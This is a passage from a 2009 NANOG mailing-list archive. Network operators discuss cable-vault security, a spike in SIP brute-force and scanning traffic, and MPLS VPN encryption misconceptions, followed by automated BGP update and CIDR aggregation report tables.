be for routine maintenance and repair? > > Having never been in a vault or know how to get in one other than > apparently lifting a manhole cover I can't possible answer that with > anything more than guessing. > >> My guess is that it is probably less expensive in the long run to >> leave them unprotected and just fix the problems when they occur >> than to try to "secure" the vaults and deal with the costs and >> extended outage delays when access it "secured" and it takes longer >> to get into a vault to fix things. > > I wasn't thinking Exodus/C&W/SAVVIS/Whoever level security, but > considering communications cables traverse such sites it is hardly > unreasonable to think they could implement some alarm that is > centrally monitored by a NOC. I'm guessing *anything* is better than > what appears to be the *nothing* that is in place now. > > Also not to get sensationalist, but less expensive than a life that > could be lost if an emergency call can't be put through? > > -r > > From leland at taranta.discpro.org Fri Apr 10 03:45:46 2009 From: leland at taranta.discpro.org (Leland E. Vandervort) Date: Fri, 10 Apr 2009 08:45:46 +0000 (GMT) Subject: SIP - perhaps botnet? anyone else seeing this? Message-ID: Hi All, Over the past couple of days we have been seeing an exponential increase (about 200-fold) in the amount of UDP SIP Control traffic in our netflow data. The past 24 hours, for example, has shown a total of nearly 300 GB of this traffic incoming and over 400 GB outgoing -- this despite the fact that we do not host any SIP services ourselves, and currently to my knowledge, we have no hosting customers running any kind of SIP services. (Total RTP traffic for 24 hours is only in the region of 150 Kb -- so a vast inbalance between control and RTP) The local sources/destinations of the traffic are within our hosting space, but are spread across a wide range of hosts (i.e. nothing really related to a single or handful of hosts). Additionally over the past couple of days we have seen an increase of mails to our abuse desk for "brute force" attempts against a number of SIP services... possibly directly related to this traffic. Is anyone aware of a new variant or modus-operandi of botnets in circulation in the past couple of days which attempt to exploit SIP services? Has anyone else notice a significant increase in this kind of traffic? Thanks Leland From rdobbins at cisco.com Fri Apr 10 04:18:58 2009 From: rdobbins at cisco.com (Roland Dobbins) Date: Fri, 10 Apr 2009 17:18:58 +0800 Subject: SIP - perhaps botnet? anyone else seeing this? In-Reply-To: References: Message-ID: <96D9A220-A8EB-40D6-A28A-5AC7D1B89C60@cisco.com> On Apr 10, 2009, at 4:45 PM, Leland E. Vandervort wrote: > UDP SIP Control traffic in our netflow data. Have you grabbed some packets in order to ensure it's actually SIP, vs. something else on the same ports? If it really is SIP-related, this could be caused by botted hosts launching a SIP DDoS, or brute-forcing said SIP services in order to steal service for resale, DoS someone else via the service at layer-7 (i.e., call avallanche), sent VoIP spam, et. al. You may have botted hosts in your hosting space, as well as hosts being scanned as potential targets for exploitation. A quick search-engine query should reveal that this sort of thing has been going on for quite some time; I believe there were some convictions in NJ or somewhere else in the northeastern US within the last year or so. ----------------------------------------------------------------------- Roland Dobbins // +852.9133.2844 mobile Our dreams are still big; it's just the future that got small. -- Jason Scott From leland at taranta.discpro.org Fri Apr 10 04:32:09 2009 From: leland at taranta.discpro.org (Leland E. Vandervort) Date: Fri, 10 Apr 2009 09:32:09 +0000 (GMT) Subject: SIP - perhaps botnet? anyone else seeing this? In-Reply-To: <96D9A220-A8EB-40D6-A28A-5AC7D1B89C60@cisco.com> Message-ID: Legally speaking, we can't "grab packets" in this sense without a specific validated complaint, court orders, and that kind of thing... So all we can do in the the absence of a specific complaint is in the context of our day to day traffic analysis from the netflow data to identify anomalies.. hence this one... (We have already taken action on a handful of known and identified cases of SIP brute-force attacks in recent days). Having said that, we have seen a vast increase in the amount of abuse complaints about SIP authentication brute force attacks in the past couple of days, which would tally with the traffic in general as being actual SIP-Control. The absence of associated RTP, however, leads me to believe that it's either scanning, exploits, or botnets, rather than legitimate SIP traffic. Based on what I've seen in the past couple of days, I am sure that it's as you mentioned, a SIP DDoS or brute-force attacks on SIP services... (circumstantial evidence that it's actually SIP related rather than something else on the same ports -- given the number of abuse complaints) I was simply wondering if this was an overall trend globally, or if it's simply a handful of bozos making life "fun" for the rest of us ;) Thanks Leland On Fri, 10 Apr 2009, Roland Dobbins wrote: > > On Apr 10, 2009, at 4:45 PM, Leland E. Vandervort wrote: > > > UDP SIP Control traffic in our netflow data. > > Have you grabbed some packets in order to ensure it's actually SIP, > vs. something else on the same ports? > > If it really is SIP-related, this could be caused by botted hosts > launching a SIP DDoS, or brute-forcing said SIP services in order to > steal service for resale, DoS someone else via the service at layer-7 > (i.e., call avallanche), sent VoIP spam, et. al. You may have botted > hosts in your hosting space, as well as hosts being scanned as > potential targets for exploitation. > > A quick search-engine query should reveal that this sort of thing has > been going on for quite some time; I believe there were some > convictions in NJ or somewhere else in the northeastern US within the > last year or so. > > ----------------------------------------------------------------------- > Roland Dobbins // +852.9133.2844 mobile > > Our dreams are still big; it's just the future that got small. > > -- Jason Scott > > From rdobbins at cisco.com Fri Apr 10 04:59:00 2009 From: rdobbins at cisco.com (Roland Dobbins) Date: Fri, 10 Apr 2009 17:59:00 +0800 Subject: SIP - perhaps botnet? anyone else seeing this? In-Reply-To: References: Message-ID: <595F2EEE-114E-4C2A-B04C-B57E7F19F5B0@cisco.com> On Apr 10, 2009, at 5:32 PM, Leland E. Vandervort wrote: > legally speaking, we can't "grab packets" in this sense without a > specific > validated complaint, court orders, and that kind of thing... IANAL, but I suggest you check again with your legal department - I doubt this is actually the case (your jurisdiction may vary, but in most Western nations, you can grab packets for diagnostic/ troubleshooting/forensics purposes). Obviously, follow your legal counsel's advice. That being said, I've heard various SPs in various jurisdictions around the world state that they were prohibited from capturing packets, when in fact this wasn't true at all, they'd been misinformed. So, you may wish to check in order to be sure of your position. > So all we can do in the the absence of a specific complaint But you said you *had* specific complaints, did you not? ;> ----------------------------------------------------------------------- Roland Dobbins // +852.9133.2844 mobile Our dreams are still big; it's just the future that got small. -- Jason Scott From leland at taranta.discpro.org Fri Apr 10 05:20:35 2009 From: leland at taranta.discpro.org (Leland E. Vandervort) Date: Fri, 10 Apr 2009 10:20:35 +0000 (GMT) Subject: SIP - perhaps botnet? anyone else seeing this? In-Reply-To: <595F2EEE-114E-4C2A-B04C-B57E7F19F5B0@cisco.com> Message-ID: On Fri, 10 Apr 2009, Roland Dobbins wrote: > > IANAL, but I suggest you check again with your legal department - I > doubt this is actually the case (your jurisdiction may vary, but in > most Western nations, you can grab packets for diagnostic/ > troubleshooting/forensics purposes). Already did check... we can't grab packets except in response to judicial order or specific abuse case with a valid ID of the end-user, or of course for general technical diagnostics -- if for diagnostics, we cannot use such collected data in the context of only a suspicion of abuse at all as it would constitute an infringement on the individual's privacy. So in short, we can do it REACTIVELY in response to a complaint.. but if we do it PROACTIVELY, then it cannot be used and is of "educational" value only (with caveats surrounding confidentiality, non-disclosure, and destruction,, etc.) > > So all we can do in the the absence of a specific complaint > > > But you said you *had* specific complaints, did you not? yes.. *specific* and action was taken on those *specific* cases... (didn't actually have to grab traffic though...) L. From randy at psg.com Fri Apr 10 05:48:56 2009 From: randy at psg.com (Randy Bush) Date: Fri, 10 Apr 2009 19:48:56 +0900 Subject: SIP - perhaps botnet? anyone else seeing this? In-Reply-To: References: <595F2EEE-114E-4C2A-B04C-B57E7F19F5B0@cisco.com> Message-ID: to answer your question, as opposed to telling you how to run your business, yes. we are seeing a low level, distributed source, sip probing across a wide swath of target space. it goes back a long time. randy From fw at deneb.enyo.de Fri Apr 10 06:04:52 2009 From: fw at deneb.enyo.de (Florian Weimer) Date: Fri, 10 Apr 2009 13:04:52 +0200 Subject: attacks on MPLS? In-Reply-To: <75cb24520904091011v155d37eet9b88b264eb950de9@mail.gmail.com> (Christopher Morrow's message of "Thu, 9 Apr 2009 13:11:48 -0400") References: <20090409125604.62240d75@cs.columbia.edu> <75cb24520904091011v155d37eet9b88b264eb950de9@mail.gmail.com> Message-ID: <87ab6oixbf.fsf@mid.deneb.enyo.de> * Christopher Morrow: > On Thu, Apr 9, 2009 at 12:56 PM, Steven M. Bellovin wrote: >> http://www.darkreading.com/securityservices/services/data/showArticle.jhtml?articleID=216403220 > > This is different from ATM or FRAME or Private lines how? In the end, > MPLS is just a transport layer for the private network, if you don't > secure your data over a transport, shocker, people can see it!!! People generally believe that MPLS VPNs are encrypted because all VPNs are encrypted in their world. 8-/ From cidr-report at potaroo.net Fri Apr 10 07:00:06 2009 From: cidr-report at potaroo.net (cidr-report at potaroo.net) Date: Fri, 10 Apr 2009 22:00:06 +1000 (EST) Subject: BGP Update Report Message-ID: <200904101200.n3AC06Y0055039@wattle.apnic.net> BGP Update Report Interval: 09-Mar-09 -to- 09-Apr-09 (32 days) Observation Point: BGP Peering with AS131072 TOP 20 Unstable Origin AS Rank ASN Upds % Upds/Pfx AS-Name 1 - AS6389 331960 4.2% 75.6 -- BELLSOUTH-NET-BLK - BellSouth.net Inc. 2 - AS2386 90353 1.1% 69.7 -- INS-AS - AT&T Data Communications Services 3 - AS6478 73160 0.9% 54.5 -- ATT-INTERNET3 - AT&T WorldNet Services 4 - AS9498 59078 0.8% 83.8 -- BBIL-AP BHARTI Airtel Ltd. 5 - AS8452 58903 0.7% 44.2 -- TEDATA TEDATA 6 - AS11492 56546 0.7% 46.5 -- CABLEONE - CABLE ONE, INC. 7 - AS10796 52245 0.7% 53.5 -- SCRR-10796 - Road Runner HoldCo LLC 8 - AS19262 50741 0.6% 51.8 -- VZGNI-TRANSIT - Verizon Internet Services Inc. 9 - AS29049 50095 0.6% 151.8 -- DELTA-TELECOM-AS Delta Telecom LTD. 10 - AS7018 48986 0.6% 33.2 -- ATT-INTERNET4 - AT&T WorldNet Services 11 - AS9829 42463 0.5% 64.9 -- BSNL-NIB National Internet Backbone 12 - AS6629 42017 0.5% 646.4 -- NOAA-AS - NOAA 13 - AS9583 39186 0.5% 34.6 -- SIFY-AS-IN Sify Limited 14 - AS17488 38583 0.5% 24.8 -- HATHWAY-NET-AP Hathway IP Over Cable Internet 15 - AS7545 36340 0.5% 44.1 -- TPG-INTERNET-AP TPG Internet Pty Ltd 16 - AS35805 35581 0.5% 111.5 -- UTG-AS United Telecom AS 17 - AS4323 34580 0.4% 8.0 -- TWTC - tw telecom holdings, inc. 18 - AS20115 34481 0.4% 21.0 -- CHARTER-NET-HKY-NC - Charter Communications 19 - AS6458 32735 0.4% 82.5 -- Telgua 20 - AS4434 31405 0.4% 805.3 -- ERX-RADNET1-AS PT Rahajasa Media Internet TOP 20 Unstable Origin AS (Updates per announced prefix) Rank ASN Upds % Upds/Pfx AS-Name 1 - AS46653 16762 0.2% 5587.3 -- FREDRIKSON---BYRON - Fredrikson & Byron, P.A. 2 - AS19017 3599 0.1% 3599.0 -- QUALCOMM-QWBS-LV - Qualcomm, Inc. 3 - AS7717 17553 0.2% 3510.6 -- OPENIXP-AS-ID-AP OpenIXP ASN 4 - AS6312 3286 0.0% 3286.0 -- WESTWORLD-AS - WestWorld Media, LLC 5 - AS14223 6091 0.1% 3045.5 -- NYSDOH - New York State Department of Health 6 - AS46328 20074 0.2% 2230.4 -- PTCNEBRASKA - PIERCE TELEPHONE COMPANY, INCORPORATED 7 - AS32398 16047 0.2% 2005.9 -- REALNET-ASN-1 8 - AS5050 24671 0.3% 1897.8 -- PSC-EXT - Pittsburgh Supercomputing Center 9 - AS42291 6868 0.1% 1717.0 -- ISTRANET-AS Istranet LLC 10 - AS30520 5761 0.1% 1440.2 -- NUANCE-SOMERVILLE - NUANCE COMMUNICATIONS, INC 11 - AS40344 1400 0.0% 1400.0 -- PROSK-1 - Pro Sky Wireless 12 - AS20925 4062 0.1% 1354.0 -- RESEAU-DANZAS DANZAS Autonomous System 13 - AS13683 854 0.0% 854.0 -- AUTO-WARES-ASN - Auto-Wares Inc 14 - AS30306 3335 0.0% 833.8 -- AfOL-Sz-AS 15 - AS45417 821 0.0% 821.0 -- CFLINDIA-NET-IN 1-2-10, S P ROAD 16 - AS5691 10547 0.1% 811.3 -- MITRE-AS-5 - The MITRE Corporation 17 - AS4434 31405 0.4% 805.3 -- ERX-RADNET1-AS PT Rahajasa Media Internet 18 - AS47640 2327 0.0% 775.7 -- TRICOMPAS Tricomp Sp. z. o. o. 19 - AS5839 7266 0.1% 726.6 -- DDN-ASNBLK - DoD Network Information Center 20 - AS26276 3584 0.1% 716.8 -- TIMKEN-USA - The Timken Company TOP 20 Unstable Prefixes Rank Prefix Upds % Origin AS -- AS Name 1 - 72.23.246.0/24 24558 0.3% AS5050 -- PSC-EXT - Pittsburgh Supercomputing Center 2 - 121.101.184.0/24 17553 0.2% AS38785 -- BAGUSNET-AS-ID PT. BORNEO BROADBAND TECHNOLOGY AS7717 -- OPENIXP-AS-ID-AP OpenIXP ASN 3 - 199.45.13.0/24 16742 0.2% AS46653 -- FREDRIKSON---BYRON - Fredrikson & Byron, P.A. 4 - 41.204.2.0/24 15863 0.2% AS32398 -- REALNET-ASN-1 5 - 192.35.129.0/24 13961 0.2% AS6629 -- NOAA-AS - NOAA 6 - 198.77.177.0/24 13869 0.2% AS6629 -- NOAA-AS - NOAA 7 - 192.102.88.0/24 13850 0.2% AS6629 -- NOAA-AS - NOAA 8 - 222.255.51.64/26 10738 0.1% AS7643 -- VNN-AS-AP Vietnam Posts and Telecommunications (VNPT) 9 - 192.12.120.0/24 10428 0.1% AS5691 -- MITRE-AS-5 - The MITRE Corporation 10 - 202.92.235.0/24 8314 0.1% AS9498 -- BBIL-AP BHARTI Airtel Ltd. 11 - 202.154.57.0/24 6642 0.1% AS4434 -- ERX-RADNET1-AS PT Rahajasa Media Internet 12 - 202.154.60.0/22 6493 0.1% AS4434 -- ERX-RADNET1-AS PT Rahajasa Media Internet 13 - 192.135.176.0/24 6081 0.1% AS14223 -- NYSDOH - New York State Department of Health 14 - 205.104.240.0/20 5572 0.1% AS5839 -- DDN-ASNBLK - DoD Network Information Center 15 - 202.154.60.0/24 5543 0.1% AS4434 -- ERX-RADNET1-AS PT Rahajasa Media Internet 16 - 202.154.58.0/24 5538 0.1% AS4434 -- ERX-RADNET1-AS PT Rahajasa Media Internet 17 - 195.96.69.0/24 5271 0.1% AS8225 -- ASTELIT-MSK-AS Astelit Autonomous System 18 - 193.201.184.0/21 5266 0.1% AS25546 -- BROOKLANDCOMP-AS Brookland Computer Services 19 - 89.4.131.0/24 5115 0.1% AS24731 -- ASN-NESMA National Engineering Services and Marketing Company Ltd. (NESMA) 20 - 91.68.239.0/24 4625 0.1% AS29372 -- SFR-NETWORK SFR Details at http://bgpupdates.potaroo.net ------------------------------------ Copies of this report are mailed to: nanog at merit.edu eof-list at ripe.net apops at apops.net routing-wg at ripe.net afnog at afnog.org From cidr-report at potaroo.net Fri Apr 10 07:00:02 2009 From: cidr-report at potaroo.net (cidr-report at potaroo.net) Date: Fri, 10 Apr 2009 22:00:02 +1000 (EST) Subject: The Cidr Report Message-ID: <200904101200.n3AC026q055023@wattle.apnic.net> This report has been generated at Fri Apr 10 21:13:42 2009 AEST. The report analyses the BGP Routing Table of AS2.0 router and generates a report on aggregation potential within the table. Check http://www.cidr-report.org for a current version of this report. Recent Table History Date Prefixes CIDR Agg 03-04-09 291003 181969 04-04-09 291185 181943 05-04-09 291168 182047 06-04-09 291172 182195 07-04-09 291218 182276 08-04-09 291339 182214 09-04-09 291312 181932 10-04-09 291172 182240 AS Summary 31092 Number of ASes in routing system 13200 Number of ASes announcing only one prefix 4304 Largest number of prefixes announced by an AS AS6389 : BELLSOUTH-NET-BLK - BellSouth.net Inc. 89679104 Largest address span announced by an AS (/32s) AS27064: DDN-ASNBLK1 - DoD Network Information Center Aggregation Summary The algorithm used in this report proposes aggregation only when there is a precise match using the AS path, so as to preserve traffic transit policies. Aggregation is also proposed across non-advertised address space ('holes'). --- 10Apr09 --- ASnum NetsNow NetsAggr NetGain % Gain Description Table 291607 182306 109301 37.5% All ASes AS6389 4304 359 3945 91.7% BELLSOUTH-NET-BLK - BellSouth.net Inc. AS4323 4253 1679 2574 60.5% TWTC - tw telecom holdings, inc. AS209 2645 1160 1485 56.1% ASN-QWEST - Qwest Communications Corporation AS4766 1797 512 1285 71.5% KIXS-AS-KR Korea Telecom AS17488 1537 322 1215 79.1% HATHWAY-NET-AP Hathway IP Over Cable Internet AS22773 1022 65 957 93.6% ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. AS4755 1180 279 901 76.4% TATACOMM-AS TATA Communications formerly VSNL is Leading ISP AS8151 1442 589 853 59.2% Uninet S.A. de C.V. AS8452 1193 354 839 70.3% TEDATA TEDATA AS1785 1745 925 820 47.0% AS-PAETEC-NET - PaeTec Communications, Inc. AS19262 974 244 730 74.9% VZGNI-TRANSIT - Verizon Internet Services Inc. AS6478 1317 725 592 45.0% ATT-INTERNET3 - AT&T WorldNet Services AS855 646 71 575 89.0% CANET-ASN-4 - Bell Aliant AS11492 1210 648 562 46.4% CABLEONE - CABLE ONE, INC. AS18101 756 215 541 71.6% RIL-IDC Reliance Infocom Ltd Internet Data Centre, AS3356 1193 662 531 44.5% LEVEL3 Level 3 Communications AS2706 543 32 511 94.1% HKSUPER-HK-AP Pacific Internet (Hong Kong) Limited AS17908 606 118 488 80.5% TCISL Tata Communications AS22047 604 116 488 80.8% VTR BANDA ANCHA S.A. AS6517 744 259 485 65.2% RELIANCEGLOBALCOM - Reliance Globalcom Services, Inc AS7545 805 330 475 59.0% TPG-INTERNET-AP TPG Internet Pty Ltd AS4808 619 164 455 73.5% CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network AS24560 681 247 434 63.7% AIRTELBROADBAND-AS-AP Bharti Airtel Ltd., Telemedia Services AS4804 494 64 430 87.0% MPX-AS Microplex PTY LTD AS7018 1446 1020 426 29.5% ATT-INTERNET4 - AT&T WorldNet Services AS17676 561 137 424 75.6% GIGAINFRA BB TECHNOLOGY Corp. AS18566 1060 638 422 39.8% COVAD - Covad Communications Co. AS4668 697 284 413 59.3% LGNET-AS-KR LG CNS AS7011 956 550 406 42.5% FRONTIER-AND-CITIZENS - Frontier Communications of America, Inc. AS16814 589 187 402 68.3% NSS S.A. Total 37619 12955 24664 65.6% Top 30 total Possible Bogus Routes 24.75.116.0/22 AS10796 SCRR-10796 - Road Runner HoldCo LLC 24.245.128.0/17 AS11492 CABLEONE - CABLE ONE, INC. 24.246.0.0/17 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 24.246.128.0/18 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 41.220.16.0/20 AS8668 TELONE-AS TelOne Zimbabwe P/L 41.223.112.0/22 AS5713 SAIX-NET 41.223.188.0/24 AS22351 INTELSAT Intelsat Global BGP Routing Policy 41.223.189.0/24 AS26452 BRING-AS - BringCom, Inc. 62.61.220.0/24 AS24974 TACHYON-EU Tachyon Europe BV - Wireless Broadband via Satellite 62.61.221.0/24 AS24974 TACHYON-EU Tachyon Europe BV - Wireless Broadband via Satellite 63.140.213.0/24 AS22555 UTC - Universal Talkware Corporation 63.143.251.0/24 AS22555 UTC - Universal Talkware Corporation 64.31.32.0/19 AS11955 SCRR-11955 - Road Runner HoldCo LLC 64.31.32.0/22 AS10796 SCRR-10796 - Road Runner HoldCo LLC 64.31.36.0/23 AS10796 SCRR-10796 - Road Runner HoldCo LLC 64.31.38.0/23 AS12262 RR-CINCINNATI-ASN-01 - Road Runner HoldCo LLC 64.31.40.0/23 AS12262 RR-CINCINNATI-ASN-01 - Road Runner HoldCo LLC 64.31.42.0/23 AS10796 SCRR-10796 - Road Runner HoldCo LLC 64.31.44.0/23 AS10796 SCRR-10796 - Road Runner HoldCo LLC 64.31.46.0/24 AS10796 SCRR-10796 - Road Runner HoldCo LLC 64.31.48.0/22 AS11060 NEO-RR-COM - Road Runner HoldCo LLC 64.31.53.0/24 AS10796 SCRR-10796 - Road Runner HoldCo LLC 64.31.55.0/24 AS10796 SCRR-10796 - Road Runner HoldCo LLC 64.31.59.0/24 AS7017 SCRR-7015 - Road Runner HoldCo LLC 64.31.60.0/24 AS7017 SCRR-7015 - Road Runner HoldCo LLC 64.79.88.0/24 AS26096 LODDEN - Lodden Services 64.79.89.0/24 AS26096 LODDEN - Lodden Services 64.147.64.0/19 AS40156 THEOPT-HOU - The Optimal Link Corporation 64.186.0.0/19 AS6371 AMERICATEL - Americatel Corporation 64.186.6.0/24 AS6371 AMERICATEL - Americatel Corporation 64.186.208.0/20 AS36241 66.11.32.0/20 AS6261 VISINET - Visionary Systems, Inc. 66.11.40.0/21 AS6261 VISINET - Visionary Systems, Inc. 66.54.91.0/24 AS30506 BLACKSUN-1 - Blacksun Technologies LLC 66.55.160.0/19 AS29994 66.180.239.0/24 AS35888 VIGNETTE - VIGNETTE CORPORATION 66.206.32.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.33.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.34.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.35.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.40.0/22 AS174 COGENT Cogent/PSI 66.206.44.0/23 AS174 COGENT Cogent/PSI 66.206.47.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 66.207.32.0/20 AS23011 66.245.176.0/20 AS19318 NJIIX-AS-1 - NEW JERSEY INTERNATIONAL INTERNET EXCHANGE LLC 68.68.48.0/20 AS36241 69.71.192.0/20 AS13818 PHX-INTL-TELEPORT - Phoenix International Teleport 80.88.0.0/21 AS33774 DJAWEB 80.88.8.0/22 AS33774 DJAWEB 80.88.10.0/24 AS33774 DJAWEB 80.88.12.0/24 AS33779 wataniya-telecom-as 84.246.96.0/21 AS21080 ASN-TAGCOMUNICAZIONI Tag Comunicazioni S.p.A. 89.31.96.0/21 AS35470 XL-AS XL Network 98.96.0.0/13 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 109.0.0.0/16 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 109.1.0.0/21 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 109.1.24.0/24 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 121.46.0.0/16 AS4134 CHINANET-BACKBONE No.31,Jin-rong Street 121.50.168.0/21 AS9931 CAT-AP The Communication Authoity of Thailand, CAT 122.128.120.0/22 AS38456 PACTEL-AS-AP Pacific Teleports. 137.0.0.0/13 AS27064 DDN-ASNBLK1 - DoD Network Information Center 150.0.2.0/24 AS9730 BHARTITELESONIC-AS-IN-AP Bharti Telesonic Ltd 150.0.3.0/24 AS9730 BHARTITELESONIC-AS-IN-AP Bharti Telesonic Ltd 150.0.11.0/24 AS9730 BHARTITELESONIC-AS-IN-AP Bharti Telesonic Ltd 163.142.0.0/16 AS2500 WIDE-BB WIDE Project 172.7.0.0/24 AS28175 172.10.1.0/30 AS18305 POSNET POSDATA Co.,Ltd 178.0.0.0/16 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 178.1.0.0/21 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 178.1.24.0/24 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 192.9.0.0/16 AS11479 BRM-SUN-AS - Sun Microsystems, Inc 192.9.200.0/24 AS3602 AS3602-RTI - Rogers Telecom Inc. 192.64.85.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.69.107.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.69.108.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.69.177.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.70.164.0/24 AS25689 NRCNET-AS - National Research Council of Canada 192.96.37.0/24 AS10474 NETACTIVE 192.96.135.0/24 AS2018 TENET-1 192.96.136.0/23 AS2018 TENET-1 192.96.141.0/24 AS2018 TENET-1 192.96.143.0/24 AS2018 TENET-1 192.96.145.0/24 AS2018 TENET-1 192.96.177.0/24 AS6083 POSIX-AFRICA 192.101.45.0/24 AS2905 TICSA-ASN 192.101.46.0/24 AS6503 Avantel, S.A. 192.101.64.0/21 AS702 AS702 Verizon Business EMEA - Commercial IP service provider in Europe 192.101.70.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 192.101.71.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 192.101.72.0/24 AS702 AS702 Verizon Business EMEA - Commercial IP service provider in Europe 192.101.74.0/24 AS1239 SPRINTLINK - Sprint 192.124.248.0/23 AS680 DFN-IP service G-WiN 192.124.252.0/22 AS680 DFN-IP service G-WiN 192.131.233.0/24 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 192.133.6.0/24 AS10282 ORANGE-BUSINESS-SERVICES-CEEUR Orange Business Services (formerly Equant) AS for CEEUR 192.153.144.0/21 AS27064 DDN-ASNBLK1 - DoD Network Information Center 192.154.32.0/19 AS81 NCREN - MCNC 192.188.208.0/20 AS27064 DDN-ASNBLK1 - DoD Network Information Center 195.88.194.0/23 AS30972 CYREALIS-AS Cyrealis Internet Network 196.6.108.0/24 AS5713 SAIX-NET 196.10.119.0/24 AS2018 TENET-1 196.10.122.0/23 AS2018 TENET-1 196.10.251.0/24 AS2018 TENET-1 196.10.252.0/23 AS2018 TENET-1 196.10.254.0/24 AS2018 TENET-1 196.13.101.0/24 AS2018 TENET-1 196.13.102.0/23 AS2018 TENET-1 196.13.104.0/24 AS2018 TENET-1 196.13.121.0/24 AS2018 TENET-1 196.13.125.0/24 AS2018 TENET-1 196.13.126.0/24 AS2018 TENET-1 196.13.169.0/24 AS2018 TENET-1 196.13.174.0/23 AS2018 TENET-1 196.13.176.0/21 AS2018 TENET-1 196.13.192.0/22 AS2018 TENET-1 196.13.196.0/24 AS2018 TENET-1 196.202.224.0/21 AS8818 TELE Greenland Autonomous System 198.1.2.0/24 AS4761 INDOSAT-INP-AP INDOSAT Internet Network Provider 198.23.26.0/24 AS4390 BELLATLANTIC-COM - Bell Atlantic, Inc. 198.54.82.0/24 AS2018 TENET-1 198.54.92.0/24 AS2018 TENET-1 198.54.222.0/24 AS2018 TENET-1 198.97.72.0/21 AS27064 DDN-ASNBLK1 - DoD Network Information Center 198.97.96.0/19 AS27064 DDN-ASNBLK1 - DoD Network Information Center 198.97.240.0/20 AS27064 DDN-ASNBLK1 - DoD Network Information Center 198.161.87.0/24 AS6539 GT-BELL - Bell Canada 198.167.0.0/16 AS7456 INTERHOP - Interhop Network SERVICES Inc. 198.168.0.0/16 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 198.169.0.0/16 AS803 SASKTEL - Saskatchewan Telecommunications 198.180.198.0/24 AS23715 SEOUL-INTGW-GXS-AP Global Exchange Services 199.10.0.0/16 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.114.0.0/21 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.114.128.0/18 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.114.130.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.131.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.132.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.134.0/24 AS3541 ITSDN-U4 - DoD Network Information Center 199.114.136.0/24 AS27044 DDN-ASNBLK1 - DoD Network Information Center 199.114.138.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.140.0/24 AS3544 ITSDN-U7 - DoD Network Information Center 199.114.142.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.144.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.148.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.150.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.152.0/24 AS27033 DDN-ASNBLK1 - DoD Network Information Center 199.114.153.0/24 AS27034 DDN-ASNBLK1 - DoD Network Information Center 199.114.154.0/24 AS1733 CENTAF-SWA - 754th Electronic Systems Group 199.114.156.0/24 AS1733 CENTAF-SWA - 754th Electronic Systems Group 199.114.160.0/24 AS1733 CENTAF-SWA - 754th Electronic Systems Group 199.121.0.0/16 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.123.0.0/18 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.123.16.0/20 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.123.80.0/21 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.189.32.0/19 AS7332 IQUEST-AS - IQuest Internet 199.202.0.0/16 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 199.202.216.0/21 AS577 BACOM - Bell Canada 199.246.116.0/24 AS813 UUNET-CANADA - MCI Communications Services, Inc. d/b/a Verizon Business 202.6.176.0/20 AS24316 202.58.113.0/24 AS19161 INNOCOM-TELECOM - INNOCOM TELECOM 202.72.40.0/24 AS38205 202.72.41.0/24 AS38205 202.72.47.0/24 AS38205 202.73.144.0/20 AS4788 TMNET-AS-AP TM Net, Internet Service Provider 202.80.192.0/20 AS2706 HKSUPER-HK-AP Pacific Internet (Hong Kong) Limited 202.86.252.0/22 AS4748 RESOLINK-AS-AP Resources Link Network Limited 202.86.252.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.253.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.254.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.255.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.94.1.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.94.70.0/24 AS9837 POWERTEL-AP Powertel Ltd 202.122.120.0/21 AS17494 BTTB-AS-AP Telecom Operator & Internet Service Provider as well 202.124.195.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 202.133.70.0/24 AS38616 WORLDCALL-AS-KHI Worldcall Telecom Limited 202.133.73.0/24 AS38616 WORLDCALL-AS-KHI Worldcall Telecom Limited 202.136.254.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.136.255.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.140.160.0/24 AS4841 202.140.161.0/24 AS4841 202.140.162.0/24 